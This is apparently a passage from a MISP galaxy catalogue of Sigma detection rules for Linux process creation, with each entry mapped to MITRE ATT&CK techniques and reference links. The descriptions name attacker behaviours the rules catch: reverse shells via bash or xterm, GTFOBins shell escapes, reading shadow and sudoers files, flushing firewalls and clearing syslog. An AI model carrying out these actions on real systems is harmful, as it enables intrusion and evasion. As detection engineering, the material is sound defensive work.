Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.

The tag is: *misp-galaxy:sigma-rules="Linux Network Service Scanning Tools Execution"*

View relationships graph

Linux Network Service Scanning Tools Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 17326. Table References

Links
https://github.com/Tib3rius/AutoRecon
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
https://github.com/projectdiscovery/naabu
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_network_utilities_execution.yml

Linux Base64 Encoded Shebang In CLI

Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded

The tag is: *misp-galaxy:sigma-rules="Linux Base64 Encoded Shebang In CLI"*

View relationships graph

Linux Base64 Encoded Shebang In CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 17327. Table References

Links
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml

Shell Execution via Git - Linux

Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Execution via Git - Linux"*

View relationships graph

Shell Execution via Git - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17328. Table References

Links
https://gtfobins.github.io/gtfobins/git/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_git_shell_execution.yml

Print History File Contents

Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance

The tag is: *misp-galaxy:sigma-rules="Print History File Contents"*

View relationships graph

Print History File Contents has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"

Table 17329. Table References

Links
https://github.com/sleventyeleven/linuxprivchecker/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml

Potential Suspicious Change To Sensitive/Critical Files

Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Change To Sensitive/Critical Files"*

View relationships graph

Potential Suspicious Change To Sensitive/Critical Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 17330. Table References

Links
https://learn.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_sensitive_file_access.yml

Bash Interactive Shell

Detects execution of the bash shell with the interactive flag "-i".

The tag is: *misp-galaxy:sigma-rules="Bash Interactive Shell"*

Table 17331. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://linux.die.net/man/1/bash
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml

Decode Base64 Encoded Text

Detects usage of base64 utility to decode arbitrary base64-encoded text

The tag is: *misp-galaxy:sigma-rules="Decode Base64 Encoded Text"*

View relationships graph

Decode Base64 Encoded Text has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

Table 17332. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml

System Network Discovery - Linux

Detects enumeration of local network configuration

The tag is: *misp-galaxy:sigma-rules="System Network Discovery - Linux"*

View relationships graph

System Network Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 17333. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml

OS Architecture Discovery Via Grep

Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"

The tag is: *misp-galaxy:sigma-rules="OS Architecture Discovery Via Grep"*

View relationships graph

OS Architecture Discovery Via Grep has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17334. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/

https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_grep_os_arch_discovery.yml

User Added To Root/Sudoers Group Using Usermod

Detects usage of the "usermod" binary to add users add users to the root or suoders groups

The tag is: *misp-galaxy:sigma-rules="User Added To Root/Sudoers Group Using Usermod"*

Table 17335. Table References

Links
https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/
https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_usermod_susp_group.yml

BPFtrace Unsafe Option Usage

Detects the usage of the unsafe bpftrace option

The tag is: *misp-galaxy:sigma-rules="BPFtrace Unsafe Option Usage"*

View relationships graph

BPFtrace Unsafe Option Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17336. Table References

Links
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/
https://bpftrace.org/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml

Kaspersky Endpoint Security Stopped Via CommandLine - Linux

Detects execution of the Kaspersky init.d stop script on Linux systems either directly or via systemctl. This activity may indicate a manual interruption of the antivirus service by an administrator, or it could be a sign of potential tampering or evasion attempts by malicious actors.

The tag is: *misp-galaxy:sigma-rules="Kaspersky Endpoint Security Stopped Via CommandLine - Linux"*

View relationships graph

Kaspersky Endpoint Security Stopped Via CommandLine - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 17337. Table References

Links
https://support.kaspersky.com/KES4Linux/12.0.0/en-US/197929.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_av_kaspersky_av_disabled.yml

Potential Xterm Reverse Shell

Detects usage of "xterm" as a potential reverse shell tunnel

The tag is: *misp-galaxy:sigma-rules="Potential Xterm Reverse Shell"*

View relationships graph

Potential Xterm Reverse Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17338. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml

PUA - TruffleHog Execution - Linux

Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira,

Slack, SharePoint, etc. that could be used maliciously. While it is a legitimate tool, intended for use in CI pipelines and security assessments, It was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information.

The tag is: *misp-galaxy:sigma-rules="PUA - TruffleHog Execution - Linux"*

View relationships graph

PUA - TruffleHog Execution - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17339. Table References

Links
https://www.getsafety.com/blog-posts/shai-hulud-npm-attack
https://github.com/trufflesecurity/trufflehog
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_pua_trufflehog.yml

Scheduled Cron Task/Job - Linux

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

The tag is: *misp-galaxy:sigma-rules="Scheduled Cron Task/Job - Linux"*

View relationships graph

Scheduled Cron Task/Job - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17340. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml

Touch Suspicious Service File

Detects usage of the "touch" process in service file.

The tag is: *misp-galaxy:sigma-rules="Touch Suspicious Service File"*

View relationships graph

Touch Suspicious Service File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 17341. Table References

Links
https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
https://blogs.blackberry.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_touch_susp.yml

Remove Scheduled Cron Task/Job

Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible

The tag is: *misp-galaxy:sigma-rules="Remove Scheduled Cron Task/Job"*

Table 17342. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml

Access of Sudoers File Content

Detects the execution of a text-based file access or inspection utilities to read the content of /etc/sudoers in order to potentially list all users that have sudo rights.

The tag is: *misp-galaxy:sigma-rules="Access of Sudoers File Content"*

View relationships graph

Access of Sudoers File Content has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"

Table 17343. Table References

Links
https://github.com/sleventyeleven/linuxprivchecker/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_process_reading_sudoers.yml

Inline Python Execution - Spawn Shell Via OS System Library

Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell.

The tag is: *misp-galaxy:sigma-rules="Inline Python Execution - Spawn Shell Via OS System Library"*

View relationships graph

Inline Python Execution - Spawn Shell Via OS System Library has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17344. Table References

Links
https://gtfobins.github.io/gtfobins/python/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_shell_os_system.yml

ESXi VM List Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

The tag is: *misp-galaxy:sigma-rules="ESXi VM List Discovery Via ESXCLI"*

View relationships graph

ESXi VM List Discovery Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17345. Table References

Links
https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html
https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_discovery.yml

Curl Usage on Linux

Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server

The tag is: *misp-galaxy:sigma-rules="Curl Usage on Linux"*

View relationships graph

Curl Usage on Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 17346. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml

ESXi Syslog Configuration Change Via ESXCLI

Detects changes to the ESXi syslog configuration via "esxcli"

The tag is: *misp-galaxy:sigma-rules="ESXi Syslog Configuration Change Via ESXCLI"*

View relationships graph

ESXi Syslog Configuration Change Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17347. Table References

Links
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
https://support.solarwinds.com/SuccessCenter/s/article/Configure-ESXi-Syslog-to-LEM?language=en_US
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_syslog_config_change.yml

Shell Execution Of Process Located In Tmp Directory

Detects execution of shells from a parent process located in a temporary (/tmp) directory

The tag is: *misp-galaxy:sigma-rules="Shell Execution Of Process Located In Tmp Directory"*

Table 17348. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_child_process_from_parent_tmp_folder.yml

Capabilities Discovery - Linux

Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.

The tag is: *misp-galaxy:sigma-rules="Capabilities Discovery - Linux"*

View relationships graph

Capabilities Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17349. Table References

Links
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capa_discovery.yml

Triple Cross eBPF Rootkit Execve Hijack

Detects execution of a the file "execve_hijack" which is used by the Triple Cross rootkit as a way to elevate privileges

The tag is: *misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Execve Hijack"*

Table 17350. Table References

Links
https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml

Download File To Potentially Suspicious Directory Via Wget

Detects the use of wget to download content to a suspicious directory

The tag is: *misp-galaxy:sigma-rules="Download File To Potentially Suspicious Directory Via Wget"*

View relationships graph

Download File To Potentially Suspicious Directory Via Wget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 17351. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml

Shell Invocation Via Ssh - Linux

Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Invocation Via Ssh - Linux"*

View relationships graph

Shell Invocation Via Ssh - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17352. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binarys.html
https://gtfobins.github.io/gtfobins/ssh/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssh_shell_execution.yml

Python WebServer Execution - Linux

Detects the execution of Python web servers via command line interface (CLI). After gaining access to target systems, adversaries may use Python's built-in HTTP server modules to quickly establish a web server without requiring additional software. This technique is commonly used in post-exploitation scenarios as it provides a simple method for transferring files between the compromised host and attacker-controlled systems.

The tag is: *misp-galaxy:sigma-rules="Python WebServer Execution - Linux"*

View relationships graph

Python WebServer Execution - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 17353. Table References

Links
https://docs.python.org/2/library/simplehttpserver.html

https://www.atomicredteam.io/atomic-red-team/atomics/T1048.003#atomic-test-8---python3-httpserver
https://docs.python.org/3/library/http.server.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_http_server_execution.yml

Shell Execution via Rsync - Linux

Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Execution via Rsync - Linux"*

View relationships graph

Shell Execution via Rsync - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17354. Table References

Links
https://gtfobins.github.io/gtfobins/rsync/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_rsync_shell_execution.yml

ESXi VM Kill Via ESXCLI

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

The tag is: *misp-galaxy:sigma-rules="ESXi VM Kill Via ESXCLI"*

View relationships graph

ESXi VM Kill Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 17355. Table References

Links

https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html
https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_kill.yml

Capsh Shell Invocation - Linux

Detects the use of the "capsh" utility to invoke a shell.

The tag is: *misp-galaxy:sigma-rules="Capsh Shell Invocation - Linux"*

View relationships graph

Capsh Shell Invocation - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17356. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binarys.html
https://gtfobins.github.io/gtfobins/capsh/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_capsh_shell_invocation.yml

Flush Iptables Ufw Chain

Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic

The tag is: *misp-galaxy:sigma-rules="Flush Iptables Ufw Chain"*

View relationships graph

Flush Iptables Ufw Chain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17357. Table References

Links

https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html
https://blogs.blackberry.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml

Syslog Clearing or Removal Via System Utilities

Detects specific commands commonly used to remove or empty the syslog. Which is a technique often used by attacker as a method to hide their tracks

The tag is: *misp-galaxy:sigma-rules="Syslog Clearing or Removal Via System Utilities"*

View relationships graph

Syslog Clearing or Removal Via System Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"

Table 17358. Table References

Links
https://www.virustotal.com/gui/file/54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5/behavior
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml

Linux Setgid Capability Set on a Binary via Setcap Utility

Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.

The tag is: *misp-galaxy:sigma-rules="Linux Setgid Capability Set on a Binary via Setcap Utility"*

View relationships graph

Linux Setgid Capability Set on a Binary via Setcap Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 17359. Table References

Links
https://dfir.ch/posts/linux_capabilities/
https://juggernaut-sec.com/capabilities/#cap_setgid
https://man7.org/linux/man-pages/man8/setcap.8.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cap_setgid.yml

Potential Linux Amazon SSM Agent Hijacking

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

The tag is: *misp-galaxy:sigma-rules="Potential Linux Amazon SSM Agent Hijacking"*

View relationships graph

Potential Linux Amazon SSM Agent Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 17360. Table References

Links
https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan
https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/
https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml

Linux Shell Pipe to Shell

Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell

The tag is: *misp-galaxy:sigma-rules="Linux Shell Pipe to Shell"*

View relationships graph

Linux Shell Pipe to Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 17361. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml

Copy Passwd Or Shadow From TMP Path

Detects when the file "passwd" or "shadow" is copied from tmp path

The tag is: *misp-galaxy:sigma-rules="Copy Passwd Or Shadow From TMP Path"*

View relationships graph

Copy Passwd Or Shadow From TMP Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17362. Table References

Links
https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
https://blogs.blackberry.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml

Group Has Been Deleted Via Groupdel

Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks

The tag is: *misp-galaxy:sigma-rules="Group Has Been Deleted Via Groupdel"*

View relationships graph

Group Has Been Deleted Via Groupdel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 17363. Table References

Links
https://linux.die.net/man/8/groupdel

https://linuxize.com/post/how-to-delete-group-in-linux/
https://www.cyberciti.biz/faq/linux-remove-user-command/
https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_groupdel.yml

Disable Or Stop Services

Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services

The tag is: *misp-galaxy:sigma-rules="Disable Or Stop Services"*

Table 17364. Table References

Links
https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml

User Has Been Deleted Via Userdel

Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks

The tag is: *misp-galaxy:sigma-rules="User Has Been Deleted Via Userdel"*

View relationships graph

User Has Been Deleted Via Userdel has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 17365. Table References

Links
https://linuxize.com/post/how-to-delete-group-in-linux/
https://www.cyberciti.biz/faq/linux-remove-user-command/
https://linux.die.net/man/8/userdel
https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_userdel.yml

Suspicious Nohup Execution

Detects execution of binaries located in potentially suspicious locations via "nohup"

The tag is: *misp-galaxy:sigma-rules="Suspicious Nohup Execution"*

Table 17366. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml

Shell Execution via Find - Linux

Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.

The tag is: *misp-galaxy:sigma-rules="Shell Execution via Find - Linux"*

View relationships graph

Shell Execution via Find - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17367. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
https://gtfobins.github.io/gtfobins/find/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_find_shell_execution.yml

Suspicious Curl Change User Agents - Linux

Detects a suspicious curl process start on linux with set useragent options

The tag is: *misp-galaxy:sigma-rules="Suspicious Curl Change User Agents - Linux"*

View relationships graph

Suspicious Curl Change User Agents - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 17368. Table References

Links
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml

Ufw Force Stop Using Ufw-Init

Detects attempts to force stop the ufw using ufw-init

The tag is: *misp-galaxy:sigma-rules="Ufw Force Stop Using Ufw-Init"*

View relationships graph

Ufw Force Stop Using Ufw-Init has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17369. Table References

Links
https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144
https://blogs.blackberry.com/
